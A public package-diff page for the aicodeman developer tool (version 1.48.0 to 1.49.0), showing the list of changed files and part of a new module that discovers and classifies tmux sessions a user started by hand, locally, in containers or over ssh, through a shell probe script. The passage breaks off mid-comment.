aicodeman 1.48.0 → 1.49.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (269) hide show
  1. package/README.md +12 -3
  2. package/dist/config/cli-registry/schema.d.ts +1 -0
  3. package/dist/config/cli-registry/schema.d.ts.map +1 -1
  4. package/dist/config/cli-registry/schema.js +5 -1
  5. package/dist/config/cli-registry/schema.js.map +1 -1
  6. package/dist/config/cli-registry/stock.d.ts.map +1 -1
  7. package/dist/config/cli-registry/stock.js +71 -5
  8. package/dist/config/cli-registry/stock.js.map +1 -1
  9. package/dist/config/cli-registry/types.d.ts +4 -4
  10. package/dist/config/cli-registry/types.d.ts.map +1 -1
  11. package/dist/config/foreign-tmux.d.ts +48 -0
  12. package/dist/config/foreign-tmux.d.ts.map +1 -0
  13. package/dist/config/foreign-tmux.js +48 -0
  14. package/dist/config/foreign-tmux.js.map +1 -0
  15. package/dist/custom-model-injection-apply.d.ts +4 -2
  16. package/dist/custom-model-injection-apply.d.ts.map +1 -1
  17. package/dist/custom-model-injection-apply.js +35 -21
  18. package/dist/custom-model-injection-apply.js.map +1 -1
  19. package/dist/docker-hosts.d.ts +8 -1
  20. package/dist/docker-hosts.d.ts.map +1 -1
  21. package/dist/docker-hosts.js +5 -5
  22. package/dist/docker-hosts.js.map +1 -1
  23. package/dist/foreign-tmux-discovery.d.ts +140 -0
  24. package/dist/foreign-tmux-discovery.d.ts.map +1 -0
  25. package/dist/foreign-tmux-discovery.js +366 -0
  26. package/dist/foreign-tmux-discovery.js.map +1 -0
  27. package/dist/foreign-tmux.d.ts +381 -0
  28. package/dist/foreign-tmux.d.ts.map +1 -0
  29. package/dist/foreign-tmux.js +775 -0
  30. package/dist/foreign-tmux.js.map +1 -0
  31. package/dist/git-fetch-scheduler.d.ts +2 -0
  32. package/dist/git-fetch-scheduler.d.ts.map +1 -1
  33. package/dist/git-fetch-scheduler.js +1 -1
  34. package/dist/git-fetch-scheduler.js.map +1 -1
  35. package/dist/git-fetch.d.ts +1 -1
  36. package/dist/git-fetch.d.ts.map +1 -1
  37. package/dist/git-workspace-status.d.ts +2 -2
  38. package/dist/git-workspace-status.d.ts.map +1 -1
  39. package/dist/hooks-config.d.ts +2 -1
  40. package/dist/hooks-config.d.ts.map +1 -1
  41. package/dist/hooks-config.js +2 -1
  42. package/dist/hooks-config.js.map +1 -1
  43. package/dist/live-worktree.d.ts +53 -0
  44. package/dist/live-worktree.d.ts.map +1 -0
  45. package/dist/live-worktree.js +97 -0
  46. package/dist/live-worktree.js.map +1 -0
  47. package/dist/mux-interface.d.ts +12 -1
  48. package/dist/mux-interface.d.ts.map +1 -1
  49. package/dist/reboot-restore.d.ts +1 -1
  50. package/dist/reboot-restore.d.ts.map +1 -1
  51. package/dist/reboot-restore.js +9 -0
  52. package/dist/reboot-restore.js.map +1 -1
  53. package/dist/remote-files.d.ts +150 -5
  54. package/dist/remote-files.d.ts.map +1 -1
  55. package/dist/remote-files.js +505 -7
  56. package/dist/remote-files.js.map +1 -1
  57. package/dist/remote-hosts.d.ts +15 -9
  58. package/dist/remote-hosts.d.ts.map +1 -1
  59. package/dist/remote-hosts.js +42 -20
  60. package/dist/remote-hosts.js.map +1 -1
  61. package/dist/session-cli-registry-bridge.d.ts.map +1 -1
  62. package/dist/session-cli-registry-bridge.js +19 -8
  63. package/dist/session-cli-registry-bridge.js.map +1 -1
  64. package/dist/session-env-clamp.d.ts +1 -1
  65. package/dist/session-env-clamp.d.ts.map +1 -1
  66. package/dist/session-env-clamp.js +4 -3
  67. package/dist/session-env-clamp.js.map +1 -1
  68. package/dist/session.d.ts +91 -21
  69. package/dist/session.d.ts.map +1 -1
  70. package/dist/session.js +190 -33
  71. package/dist/session.js.map +1 -1
  72. package/dist/tmux-manager.d.ts +74 -12
  73. package/dist/tmux-manager.d.ts.map +1 -1
  74. package/dist/tmux-manager.js +256 -41
  75. package/dist/tmux-manager.js.map +1 -1
  76. package/dist/types/foreign-tmux.d.ts +101 -0
  77. package/dist/types/foreign-tmux.d.ts.map +1 -0
  78. package/dist/types/foreign-tmux.js +27 -0
  79. package/dist/types/foreign-tmux.js.map +1 -0
  80. package/dist/types/index.d.ts +1 -0
  81. package/dist/types/index.d.ts.map +1 -1
  82. package/dist/types/index.js +1 -0
  83. package/dist/types/index.js.map +1 -1
  84. package/dist/types/session.d.ts +106 -2
  85. package/dist/types/session.d.ts.map +1 -1
  86. package/dist/types/session.js.map +1 -1
  87. package/dist/types/update.d.ts +4 -1
  88. package/dist/types/update.d.ts.map +1 -1
  89. package/dist/web/edit-history-sync.d.ts +27 -7
  90. package/dist/web/edit-history-sync.d.ts.map +1 -1
  91. package/dist/web/edit-history-sync.js +35 -19
  92. package/dist/web/edit-history-sync.js.map +1 -1
  93. package/dist/web/launch-defaults.d.ts +1 -1
  94. package/dist/web/launch-defaults.js +2 -2
  95. package/dist/web/launch-defaults.js.map +1 -1
  96. package/dist/web/linked-cases-writer.d.ts +43 -0
  97. package/dist/web/linked-cases-writer.d.ts.map +1 -0
  98. package/dist/web/linked-cases-writer.js +107 -0
  99. package/dist/web/linked-cases-writer.js.map +1 -0
  100. package/dist/web/paste-image-gc.d.ts +4 -1
  101. package/dist/web/paste-image-gc.d.ts.map +1 -1
  102. package/dist/web/paste-image-gc.js +4 -2
  103. package/dist/web/paste-image-gc.js.map +1 -1
  104. package/dist/web/public/admin-ui.js.gz +0 -0
  105. package/dist/web/public/api-client.c9b1cddc.js.gz +0 -0
  106. package/dist/web/public/{app.963b5ba8.js → app.9ea37070.js} +6 -6
  107. package/dist/web/public/app.9ea37070.js.br +0 -0
  108. package/dist/web/public/app.9ea37070.js.gz +0 -0
  109. package/dist/web/public/approvals-ui.js.gz +0 -0
  110. package/dist/web/public/constants.782170e1.js.gz +0 -0
  111. package/dist/web/public/cron-ui.js.gz +0 -0
  112. package/dist/web/public/edit-history-ui.js +27 -14
  113. package/dist/web/public/edit-history-ui.js.br +0 -0
  114. package/dist/web/public/edit-history-ui.js.gz +0 -0
  115. package/dist/web/public/entrance-animations.js.gz +0 -0
  116. package/dist/web/public/foreign-sessions.js +476 -0
  117. package/dist/web/public/foreign-sessions.js.br +0 -0
  118. package/dist/web/public/foreign-sessions.js.gz +0 -0
  119. package/dist/web/public/git-status-ui.js +5 -3
  120. package/dist/web/public/git-status-ui.js.br +0 -0
  121. package/dist/web/public/git-status-ui.js.gz +0 -0
  122. package/dist/web/public/header-divider.eb2d2463.js.gz +0 -0
  123. package/dist/web/public/home-sessions.js.gz +0 -0
  124. package/dist/web/public/host-wake-ui.js.gz +0 -0
  125. package/dist/web/public/i18n.a5e82c95.js +2 -0
  126. package/dist/web/public/i18n.a5e82c95.js.br +0 -0
  127. package/dist/web/public/i18n.a5e82c95.js.gz +0 -0
  128. package/dist/web/public/image-input.a5d0f8f3.js.gz +0 -0
  129. package/dist/web/public/index.html +36 -17
  130. package/dist/web/public/index.html.br +0 -0
  131. package/dist/web/public/index.html.gz +0 -0
  132. package/dist/web/public/input-cjk.8bc46081.js.gz +0 -0
  133. package/dist/web/public/{keyboard-accessory.d4ec5957.js → keyboard-accessory.b941676c.js} +3 -1
  134. package/dist/web/public/keyboard-accessory.b941676c.js.br +0 -0
  135. package/dist/web/public/{keyboard-accessory.d4ec5957.js.gz → keyboard-accessory.b941676c.js.gz} +0 -0
  136. package/dist/web/public/mobile-handlers.f7c3f692.js.gz +0 -0
  137. package/dist/web/public/mobile-ime-preview.2dbaf262.js.gz +0 -0
  138. package/dist/web/public/mobile-overview.js +10 -0
  139. package/dist/web/public/mobile-overview.js.br +0 -0
  140. package/dist/web/public/mobile-overview.js.gz +0 -0
  141. package/dist/web/public/{mobile.5ef2ce85.css → mobile.67c8eb5b.css} +1 -1
  142. package/dist/web/public/mobile.67c8eb5b.css.br +0 -0
  143. package/dist/web/public/{mobile.5ef2ce85.css.gz → mobile.67c8eb5b.css.gz} +0 -0
  144. package/dist/web/public/notification-manager.feb82c04.js.gz +0 -0
  145. package/dist/web/public/orchestrator-panel.js.gz +0 -0
  146. package/dist/web/public/{panels-ui.b100727d.js → panels-ui.8bcd4473.js} +4 -4
  147. package/dist/web/public/panels-ui.8bcd4473.js.br +0 -0
  148. package/dist/web/public/panels-ui.8bcd4473.js.gz +0 -0
  149. package/dist/web/public/ralph-panel.b350e2ef.js.gz +0 -0
  150. package/dist/web/public/ralph-wizard.b6c0dd19.js.gz +0 -0
  151. package/dist/web/public/readmymind-ui.js.gz +0 -0
  152. package/dist/web/public/reboot-restore-ui.js.gz +0 -0
  153. package/dist/web/public/respawn-ui.304ba0d4.js.gz +0 -0
  154. package/dist/web/public/sanitize-html.e7147e76.js.gz +0 -0
  155. package/dist/web/public/session-lineage.js.gz +0 -0
  156. package/dist/web/public/{session-ui.5ac82f2c.js → session-ui.a7c8c095.js} +11 -11
  157. package/dist/web/public/session-ui.a7c8c095.js.br +0 -0
  158. package/dist/web/public/session-ui.a7c8c095.js.gz +0 -0
  159. package/dist/web/public/{settings-ui.d1d4fb99.js → settings-ui.18f92052.js} +3 -3
  160. package/dist/web/public/settings-ui.18f92052.js.br +0 -0
  161. package/dist/web/public/settings-ui.18f92052.js.gz +0 -0
  162. package/dist/web/public/spreadsheet-preview-worker.js.gz +0 -0
  163. package/dist/web/public/spreadsheet-preview.75c751de.js.gz +0 -0
  164. package/dist/web/public/spreadsheet-xlsx-core.js.gz +0 -0
  165. package/dist/web/public/{styles.77dc538f.css → styles.6a718331.css} +1 -1
  166. package/dist/web/public/styles.6a718331.css.br +0 -0
  167. package/dist/web/public/{styles.77dc538f.css.gz → styles.6a718331.css.gz} +0 -0
  168. package/dist/web/public/subagent-windows.07277a58.js.gz +0 -0
  169. package/dist/web/public/sw.js +2 -2
  170. package/dist/web/public/sw.js.br +0 -0
  171. package/dist/web/public/sw.js.gz +0 -0
  172. package/dist/web/public/tab-layout-browser.2d6189f7.js.gz +0 -0
  173. package/dist/web/public/tab-rail-resize.b5cdceaf.js.gz +0 -0
  174. package/dist/web/public/terminal-keycode229-recovery.98843069.js.gz +0 -0
  175. package/dist/web/public/terminal-split.js.gz +0 -0
  176. package/dist/web/public/terminal-tile.js +2 -2
  177. package/dist/web/public/terminal-tile.js.br +0 -0
  178. package/dist/web/public/terminal-tile.js.gz +0 -0
  179. package/dist/web/public/{terminal-ui.d7c75ce8.js → terminal-ui.a7883640.js} +2 -2
  180. package/dist/web/public/terminal-ui.a7883640.js.br +0 -0
  181. package/dist/web/public/terminal-ui.a7883640.js.gz +0 -0
  182. package/dist/web/public/tile-grid.js.gz +0 -0
  183. package/dist/web/public/ultracode-panel.js.gz +0 -0
  184. package/dist/web/public/ultracode-windows.js.gz +0 -0
  185. package/dist/web/public/vendor/dompurify.min.js.gz +0 -0
  186. package/dist/web/public/vendor/exceljs.min.js.gz +0 -0
  187. package/dist/web/public/vendor/fflate.min.js.gz +0 -0
  188. package/dist/web/public/vendor/marked.min.js.gz +0 -0
  189. package/dist/web/public/vendor/xterm-addon-fit.min.js.gz +0 -0
  190. package/dist/web/public/vendor/xterm-addon-serialize.min.js.gz +0 -0
  191. package/dist/web/public/vendor/xterm-addon-unicode11.min.js.gz +0 -0
  192. package/dist/web/public/vendor/xterm-addon-webgl.min.js.gz +0 -0
  193. package/dist/web/public/vendor/xterm-predictive-echo.276b11d9.js.gz +0 -0
  194. package/dist/web/public/vendor/xterm-zerolag-input.1be42307.js.gz +0 -0
  195. package/dist/web/public/vendor/xterm.css.gz +0 -0
  196. package/dist/web/public/vendor/xterm.min.js.gz +0 -0
  197. package/dist/web/public/voice-input.2342c37b.js.gz +0 -0
  198. package/dist/web/public/voice-pcm-worklet.js.gz +0 -0
  199. package/dist/web/public/webview-tabs.js.gz +0 -0
  200. package/dist/web/public/whats-new.json +9 -9
  201. package/dist/web/routes/case-routes.d.ts.map +1 -1
  202. package/dist/web/routes/case-routes.js +72 -53
  203. package/dist/web/routes/case-routes.js.map +1 -1
  204. package/dist/web/routes/discord-routes.js +1 -1
  205. package/dist/web/routes/discord-routes.js.map +1 -1
  206. package/dist/web/routes/edit-history-routes.d.ts +2 -2
  207. package/dist/web/routes/edit-history-routes.d.ts.map +1 -1
  208. package/dist/web/routes/edit-history-routes.js +4 -3
  209. package/dist/web/routes/edit-history-routes.js.map +1 -1
  210. package/dist/web/routes/file-routes.d.ts.map +1 -1
  211. package/dist/web/routes/file-routes.js +213 -102
  212. package/dist/web/routes/file-routes.js.map +1 -1
  213. package/dist/web/routes/git-status-routes.d.ts.map +1 -1
  214. package/dist/web/routes/git-status-routes.js +7 -2
  215. package/dist/web/routes/git-status-routes.js.map +1 -1
  216. package/dist/web/routes/mux-routes.d.ts +10 -3
  217. package/dist/web/routes/mux-routes.d.ts.map +1 -1
  218. package/dist/web/routes/mux-routes.js +59 -1
  219. package/dist/web/routes/mux-routes.js.map +1 -1
  220. package/dist/web/routes/ralph-routes.d.ts.map +1 -1
  221. package/dist/web/routes/ralph-routes.js +22 -0
  222. package/dist/web/routes/ralph-routes.js.map +1 -1
  223. package/dist/web/routes/readmymind-routes.d.ts.map +1 -1
  224. package/dist/web/routes/readmymind-routes.js +3 -2
  225. package/dist/web/routes/readmymind-routes.js.map +1 -1
  226. package/dist/web/routes/respawn-routes.d.ts.map +1 -1
  227. package/dist/web/routes/respawn-routes.js +24 -0
  228. package/dist/web/routes/respawn-routes.js.map +1 -1
  229. package/dist/web/routes/session-routes.d.ts +11 -8
  230. package/dist/web/routes/session-routes.d.ts.map +1 -1
  231. package/dist/web/routes/session-routes.js +262 -29
  232. package/dist/web/routes/session-routes.js.map +1 -1
  233. package/dist/web/routes/system-routes.d.ts.map +1 -1
  234. package/dist/web/routes/system-routes.js +3 -2
  235. package/dist/web/routes/system-routes.js.map +1 -1
  236. package/dist/web/schemas.d.ts +24 -1
  237. package/dist/web/schemas.d.ts.map +1 -1
  238. package/dist/web/schemas.js +34 -9
  239. package/dist/web/schemas.js.map +1 -1
  240. package/dist/web/self-update.d.ts +9 -0
  241. package/dist/web/self-update.d.ts.map +1 -1
  242. package/dist/web/self-update.js +19 -3
  243. package/dist/web/self-update.js.map +1 -1
  244. package/dist/web/server.d.ts +16 -3
  245. package/dist/web/server.d.ts.map +1 -1
  246. package/dist/web/server.js +84 -24
  247. package/dist/web/server.js.map +1 -1
  248. package/dist/web/session-wait-registry.d.ts +13 -0
  249. package/dist/web/session-wait-registry.d.ts.map +1 -1
  250. package/dist/web/session-wait-registry.js +16 -8
  251. package/dist/web/session-wait-registry.js.map +1 -1
  252. package/package.json +2 -2
  253. package/skills/codeman/SKILL.md +20 -4
  254. package/dist/web/public/app.963b5ba8.js.br +0 -0
  255. package/dist/web/public/app.963b5ba8.js.gz +0 -0
  256. package/dist/web/public/i18n.33f930d7.js +0 -2
  257. package/dist/web/public/i18n.33f930d7.js.br +0 -0
  258. package/dist/web/public/i18n.33f930d7.js.gz +0 -0
  259. package/dist/web/public/keyboard-accessory.d4ec5957.js.br +0 -0
  260. package/dist/web/public/mobile.5ef2ce85.css.br +0 -0
  261. package/dist/web/public/panels-ui.b100727d.js.br +0 -0
  262. package/dist/web/public/panels-ui.b100727d.js.gz +0 -0
  263. package/dist/web/public/session-ui.5ac82f2c.js.br +0 -0
  264. package/dist/web/public/session-ui.5ac82f2c.js.gz +0 -0
  265. package/dist/web/public/settings-ui.d1d4fb99.js.br +0 -0
  266. package/dist/web/public/settings-ui.d1d4fb99.js.gz +0 -0
  267. package/dist/web/public/styles.77dc538f.css.br +0 -0
  268. package/dist/web/public/terminal-ui.d7c75ce8.js.br +0 -0
  269. package/dist/web/public/terminal-ui.d7c75ce8.js.gz +0 -0
@@ -0,0 +1,775 @@
1
+ /**
2
+ * @fileoverview Pure core for FOREIGN tmux sessions, the ones a human started
3
+ * by hand, which Codeman neither created nor owns.
4
+ *
5
+ * Everything here is a string in / structure out, so all three locations (local,
6
+ * inside a container, across ssh) go through ONE probe script, ONE parser and ONE
7
+ * classifier. Writing a second copy per location is exactly how the two would
8
+ * drift into disagreeing about what a session is.
9
+ *
10
+ * ## Why the probe script is dumb
11
+ *
12
+ * It runs two commands and prints them: `tmux list-panes` per socket, and one
13
+ * `ps` snapshot. No filtering, no logic. All judgement happens in Node, where it
14
+ * is pure and unit-testable, instead of in a shell string that is embedded three
15
+ * different ways and can only be debugged against a real host.
16
+ *
17
+ * The one thing the script does decide is whether a server is safe to ask, because
18
+ * only the script can. A tmux server that stopped answering holds its client
19
+ * forever, and from outside a container or across ssh no signal reaches that
20
+ * client: a timeout kills `docker exec` or `ssh`, never what they started. So each
21
+ * server gets a bounded ping first, and one that misses it costs its own rows and
22
+ * a `CMFH` line, not the whole scan.
23
+ *
24
+ * ⚠️ The ping exists because a watchdog around `list-panes` cannot work. A tmux
25
+ * client hands dups of its stdout to the server, so a stopped server keeps our
26
+ * stdout pipe open after the client is dead (measured: SIGTERM ended the client at
27
+ * once and no EOF came in the 2.5 s that were watched, while the server stayed
28
+ * stopped). Nothing reading that pipe can finish, and the same hold would keep
29
+ * `docker exec` and `ssh` waiting on it. The ping's stdout is /dev/null, so only a
30
+ * server that just answered ever gets the real one.
31
+ *
32
+ * ⚠️ The script MUST NOT contain a single quote. It is wrapped in single quotes
33
+ * to cross `ssh <host> '<script>'` and `docker exec <c> sh -lc '<script>'`. That
34
+ * is the single-quote dual of the "no double quotes in the docker launch chain"
35
+ * rule in `tmux-manager.ts`: same class of bug, opposite quote.
36
+ *
37
+ * ## Why the mode comes from the process tree
38
+ *
39
+ * `#{pane_current_command}` is `node` for BOTH claude and codex, so it cannot
40
+ * distinguish them. The classifier walks the pane's descendants over the `ps`
41
+ * snapshot with `collectDescendants` (bounded: one snapshot, no per-node spawn,
42
+ * see proc-tree.ts for the incident that rule exists for) and matches argv. What
43
+ * it cannot identify is `shell`, which is also the honest answer for the case
44
+ * this feature was built for: a hand-opened shell.
45
+ *
46
+ * ## Why attaching means creating a grouped session
47
+ *
48
+ * A grouped session (`new-session -t <target>`) shares the target's WINDOWS but
49
+ * is its own session, so our `status off` and our current-window selection land
50
+ * on us alone. A bare `attach` would have to set those on the owner's session,
51
+ * i.e. mutate something we do not own. `destroy-unattached on` then makes our
52
+ * view evaporate when the wrapper pane dies (measured: it does).
53
+ *
54
+ * ⚠️ The group session must be created ATTACHED (no `-d`). tmux's
55
+ * `server_check_unattached()` runs every server loop, so a detached session with
56
+ * `destroy-unattached on` is torn down almost immediately: the option has to
57
+ * land on a session that already has our client on it.
58
+ *
59
+ * ⚠️ **Grouping does NOT give us an independent window SIZE, and believing it did
60
+ * was wrong.** Measured on tmux 3.3a against a target held open by a 200x49
61
+ * client, with our client at 80x24:
62
+ *
63
+ * bare attach -> target becomes 80x23
64
+ * grouped session -> target becomes 80x23 (same!)
65
+ * grouped + `window-size largest` -> target stays 200x49
66
+ *
67
+ * A window is one object with one size; a group shares the object. So attaching
68
+ * from Codeman resizes a session someone else is actively viewing, exactly like
69
+ * any second tmux client does: that is tmux's normal behavior, and it reverses
70
+ * when we detach.
71
+ *
72
+ * `window-size largest` is deliberately NOT set here. It is a WINDOW option on a
73
+ * SHARED window, so it survives our detach (measured: still `largest` after our
74
+ * view is gone): it would permanently rewrite the owner's configuration to buy
75
+ * a cropped view for us. Restoring it would need the previous value captured with
76
+ * `$(...)`, and this string carries no command substitution. It reaches `bash -c`
77
+ * verbatim now (`bashCArg()`), but it crossed `bash -c "..."` for a long time, where
78
+ * the OUTER shell expanded it first. That is the same rule the docker launch chain
79
+ * states as "no command substitution", and the same trap that silently emptied
80
+ * `$TMUX_TMPDIR` while this probe was developed.
81
+ * A user who wants the crop instead of the resize can set `window-size largest`
82
+ * on their own session, which is theirs to set.
83
+ *
84
+ * @module foreign-tmux
85
+ */
86
+ import { collectDescendants } from './proc-tree.js';
87
+ import { listClis } from './config/cli-registry/registry.js';
88
+ import { withRemoteTmuxPath } from './remote-hosts.js';
89
+ import { FOREIGN_MAX_ARGV_CHARS, FOREIGN_MAX_PANES, FOREIGN_MAX_PROCS, FOREIGN_SOCKET_TIMEOUT_SECONDS, } from './config/foreign-tmux.js';
90
+ // ===========================================================================
91
+ // Probe script
92
+ // ===========================================================================
93
+ /**
94
+ * Field separator. tmux's `-F` does NOT expand a backslash-t escape: it emits the
95
+ * LITERAL two characters (verified on next-3.7, the same finding that shaped
96
+ * `parseRemoteSessionList` in remote-hosts.ts). The parser accepts a real TAB too,
97
+ * in case some build does expand it.
98
+ */
99
+ const SEP = '\\t';
100
+ const SEP_SPLIT = /\\t|\t/;
101
+ const REJOIN = '\t';
102
+ const PANE_MARKER = 'CMFP';
103
+ const PROC_MARKER = 'CMFQ';
104
+ const SOCKET_MARKER = 'CMFS';
105
+ const HUNG_MARKER = 'CMFH';
106
+ /**
107
+ * The probe, as POSIX sh. NO SINGLE QUOTES (see @fileoverview).
108
+ *
109
+ * Emits, in order:
110
+ * CMFS<sep><socket path> (one per readable socket)
111
+ * CMFP<sep><socket><sep>...<sep>name<sep>path (one per pane on that socket)
112
+ * CMFH<sep><socket path> (a server that did not answer)
113
+ * CMFQ (marker; ps rows follow)
114
+ * <pid> <ppid> <argv...>
115
+ *
116
+ * The two free-form fields (session name, pane path) are LAST so a separator
117
+ * inside one of them can be re-joined by position instead of corrupting the row.
118
+ */
119
+ export function buildForeignProbeScript() {
120
+ const fmt = [
121
+ PANE_MARKER,
122
+ '#{socket_path}',
123
+ '#{pane_pid}',
124
+ '#{window_index}',
125
+ '#{session_windows}',
126
+ '#{session_created}',
127
+ '#{session_attached}',
128
+ '#{pane_id}',
129
+ '#{pane_current_command}',
130
+ '#{session_name}',
131
+ '#{pane_current_path}',
132
+ ].join(SEP);
133
+ // `ps -eo` covers procps and macOS; `ps ax -o` is the BSD-ish fallback. If both
134
+ // fail we still emit the pane rows, and classification degrades to the pane
135
+ // command, which still names a plain shell correctly.
136
+ // ⚠️ No `set -f` here: the socket sweep IS a glob, and disabling pathname
137
+ // expansion turns the loop into a single literal non-match. ⚠️ The marker line
138
+ // must NOT try to carry the field separator at all. Measured: `sh`'s builtin
139
+ // `echo` EXPANDS a backslash-t to a real TAB, while tmux's own `-F` emits the
140
+ // two literal characters, so the same escape means two different things two
141
+ // lines apart. The socket line is space-separated instead (marker first, rest
142
+ // of line is the path), which no shell rewrites.
143
+ //
144
+ // Only `$TMUX_TMPDIR/tmux-<uid>/` is swept, which covers every `tmux -L <name>`
145
+ // server (that is exactly where tmux puts them). A socket at an arbitrary
146
+ // `tmux -S /custom/path` is deliberately out of scope: finding it would mean
147
+ // walking the filesystem for sockets.
148
+ //
149
+ // `-u` because a POSIX locale otherwise rewrites every non-ASCII byte tmux prints
150
+ // to `_` (measured in a container: session `会话` listed as `____`), and a name
151
+ // read wrong is a name the guard then cannot find.
152
+ //
153
+ // The ping (see @fileoverview) runs in the background beside a watchdog, the POSIX
154
+ // spelling of `timeout`, which macOS does not ship. A stale socket answers at once
155
+ // with status 1 and is skipped, so the ping costs a live server one extra spawn and
156
+ // a dead one none. `has-session` cannot start a server on a stale socket.
157
+ // ⚠️ The watchdog says it fired with its own exit status, 7: a tmux client ended by
158
+ // SIGTERM exits 0 (measured), so the ping's status cannot tell. It prints the marker
159
+ // BEFORE the kill and the loop reaps it, or the line could land after `CMFQ` and
160
+ // parse as a process row. The `trap` ends the `sleep` with it, so a scan does not
161
+ // leave one behind per socket. `\$Z` is for the trap to expand: it is set before Z
162
+ // exists, so a socket that answers at once wins that race.
163
+ const watchdog = `( trap "kill \\$Z 2>/dev/null; exit" TERM; sleep ${FOREIGN_SOCKET_TIMEOUT_SECONDS} >/dev/null 2>&1 & Z=$!; ` +
164
+ `wait $Z && { echo "${HUNG_MARKER} $S"; kill $P; exit 7; } ) & W=$!`;
165
+ const ping = `tmux -S "$S" has-session >/dev/null 2>&1 & P=$!; ${watchdog}; ` +
166
+ 'wait $P; R=$?; kill $W 2>/dev/null; wait $W 2>/dev/null; [ $? -ne 7 ] && [ $R -eq 0 ] || continue';
167
+ return [
168
+ 'TD=${TMUX_TMPDIR:-/tmp}',
169
+ 'U=$(id -u 2>/dev/null || echo 0)',
170
+ `for S in $TD/tmux-$U/*; do [ -S "$S" ] || continue; echo "${SOCKET_MARKER} $S"; ${ping}; ` +
171
+ `tmux -u -S "$S" list-panes -a -F "${fmt}" 2>/dev/null; done`,
172
+ `echo ${PROC_MARKER}`,
173
+ 'ps -eo pid=,ppid=,args= 2>/dev/null || ps ax -o pid=,ppid=,args= 2>/dev/null || true',
174
+ ].join('; ');
175
+ }
176
+ /**
177
+ * Parse one probe's stdout. Never throws: a malformed row is skipped, not fatal.
178
+ *
179
+ * ⚠️ Runs synchronously on the server's event loop over text a process in a pane, a
180
+ * container or an ssh host wrote, so nothing here may cost more than linear time in it:
181
+ * the row caps do not help when one row is the whole 2 MiB.
182
+ */
183
+ export function parseForeignProbeOutput(stdout) {
184
+ const panes = [];
185
+ const sockets = new Set();
186
+ const hungSockets = [];
187
+ const byParent = new Map();
188
+ const argvByPid = new Map();
189
+ if (!stdout)
190
+ return { panes, byParent, argvByPid, sockets: [], hungSockets };
191
+ let inProcs = false;
192
+ let procCount = 0;
193
+ for (const raw of stdout.split('\n')) {
194
+ const line = raw.replace(/\r$/, '');
195
+ if (!line)
196
+ continue;
197
+ if (!inProcs && line === PROC_MARKER) {
198
+ inProcs = true;
199
+ continue;
200
+ }
201
+ if (inProcs) {
202
+ if (procCount >= FOREIGN_MAX_PROCS)
203
+ continue;
204
+ // `<pid> <ppid> <argv...>`: leading spaces are how `ps -o pid=` pads.
205
+ // ⚠️ `s`, so `.*$` cannot fail: without it a bare CR in an argv stopped the `.`, and
206
+ // `\s+` handed its spaces back one at a time, quadratic in a row this long.
207
+ const m = /^\s*(\d+)\s+(\d+)\s+(.*)$/s.exec(line);
208
+ if (!m)
209
+ continue;
210
+ const pid = Number(m[1]);
211
+ const ppid = Number(m[2]);
212
+ if (!Number.isSafeInteger(pid) || !Number.isSafeInteger(ppid))
213
+ continue;
214
+ procCount += 1;
215
+ argvByPid.set(pid, (m[3] ?? '').slice(0, FOREIGN_MAX_ARGV_CHARS));
216
+ const siblings = byParent.get(ppid);
217
+ if (siblings)
218
+ siblings.push(pid);
219
+ else
220
+ byParent.set(ppid, [pid]);
221
+ continue;
222
+ }
223
+ if (line.startsWith(`${SOCKET_MARKER} `)) {
224
+ const sock = line.slice(SOCKET_MARKER.length + 1);
225
+ if (sock)
226
+ sockets.add(sock);
227
+ continue;
228
+ }
229
+ if (line.startsWith(`${HUNG_MARKER} `)) {
230
+ hungSockets.push(line.slice(HUNG_MARKER.length + 1));
231
+ continue;
232
+ }
233
+ const fields = line.split(SEP_SPLIT);
234
+ if (fields[0] !== PANE_MARKER)
235
+ continue;
236
+ if (panes.length >= FOREIGN_MAX_PANES)
237
+ continue;
238
+ // 11 fields: marker + 8 fixed + name + path. A separator inside the NAME
239
+ // pushes extras into the middle, so the path is taken from the END and the
240
+ // name is whatever sits between the fixed prefix and it.
241
+ if (fields.length < 11)
242
+ continue;
243
+ const panePid = Number(fields[2]);
244
+ const windowIndex = Number(fields[3]);
245
+ const windows = Number(fields[4]);
246
+ const created = Number(fields[5]);
247
+ if (!Number.isSafeInteger(panePid) || panePid <= 0)
248
+ continue;
249
+ const paneCurrentPath = fields[fields.length - 1] ?? '';
250
+ const sessionName = fields.slice(9, fields.length - 1).join(REJOIN);
251
+ if (!sessionName)
252
+ continue;
253
+ panes.push({
254
+ socketPath: fields[1] ?? '',
255
+ sessionName,
256
+ windowIndex: Number.isSafeInteger(windowIndex) ? windowIndex : 0,
257
+ paneId: fields[7] ?? '',
258
+ panePid,
259
+ paneCurrentCommand: (fields[8] ?? '').slice(0, FOREIGN_MAX_ARGV_CHARS),
260
+ paneCurrentPath,
261
+ sessionAttached: fields[6] === '1',
262
+ sessionCreated: Number.isSafeInteger(created) && created > 0 ? created : 0,
263
+ windows: Number.isSafeInteger(windows) && windows > 0 ? windows : 1,
264
+ });
265
+ }
266
+ return { panes, byParent, argvByPid, sockets: [...sockets], hungSockets };
267
+ }
268
+ // ===========================================================================
269
+ // Classification
270
+ // ===========================================================================
271
+ /**
272
+ * argv signatures, derived from the registry rather than written here.
273
+ *
274
+ * Matched against the WHOLE argv of a pane descendant, so `node .../bin/claude`
275
+ * hits the claude rule via the path. The binary names come from each entry's
276
+ * `discovery.binaries`, the one place that already knows a mode name is NOT
277
+ * always a binary name (`antigravity` runs `agy`). The hand-written table this
278
+ * replaces keyed on CLI ids, which CLAUDE.md forbids outside `stock.ts`, and it
279
+ * had already fallen behind: `omp` was missing, so a hand-started omp pane read
280
+ * as a plain shell.
281
+ *
282
+ * Resolved at CALL time, never into a module-level const: a CLI enabled (or a
283
+ * custom entry added) at runtime must be recognised without a restart.
284
+ *
285
+ * ⚠️ Longest name first. `pi` is two characters and its "command itself" form
286
+ * would otherwise be tried before `opencode`'s; length order is what keeps a
287
+ * short generic name from claiming a pane that belongs to a longer one.
288
+ *
289
+ * ⚠️ Names are regex-ESCAPED. They reach here from `~/.codeman/clis.json`, and
290
+ * while the schema's SHELL_TOKEN already refuses the dangerous shapes, building
291
+ * a pattern out of an unescaped foreign string is how a config value turns into
292
+ * a regex. Escaping means the worst a bad name can do is match nothing.
293
+ *
294
+ * ⚠️ Keep these free of unbounded tails, since each one runs over someone else's argv on
295
+ * the event loop. The node launcher shape needs one, so it lives in `launcherPrefixes()`
296
+ * and `launcherDir` only has to name the directory.
297
+ */
298
+ export function foreignCliSignatures() {
299
+ const seen = new Set();
300
+ const out = [];
301
+ // `listClis()`, not `enabledClis()`: classification is a description of what is
302
